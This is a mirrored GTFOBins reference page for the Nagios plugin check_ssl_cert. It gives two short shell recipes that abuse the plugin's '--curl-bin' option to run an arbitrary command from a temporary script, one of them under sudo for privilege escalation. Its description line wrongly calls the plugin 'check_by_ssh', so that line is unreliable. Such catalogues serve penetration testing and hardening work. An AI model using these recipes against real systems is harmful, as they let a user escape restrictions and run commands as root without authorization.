1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/check_ssl_cert.md

747 B

description functions
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
command sudo
description code
The host example.net must return a certificate via TLS COMMAND=id OUTPUT=output_file TF=$(mktemp) echo "$COMMAND | tee $OUTPUT" > $TF chmod +x $TF check_ssl_cert --curl-bin $TF -H example.net cat $OUTPUT
description code
The host example.net must return a certificate via TLS COMMAND=id OUTPUT=output_file TF=$(mktemp) echo "$COMMAND | tee $OUTPUT" > $TF chmod +x $TF umask 022 check_ssl_cert --curl-bin $TF -H example.net cat $OUTPUT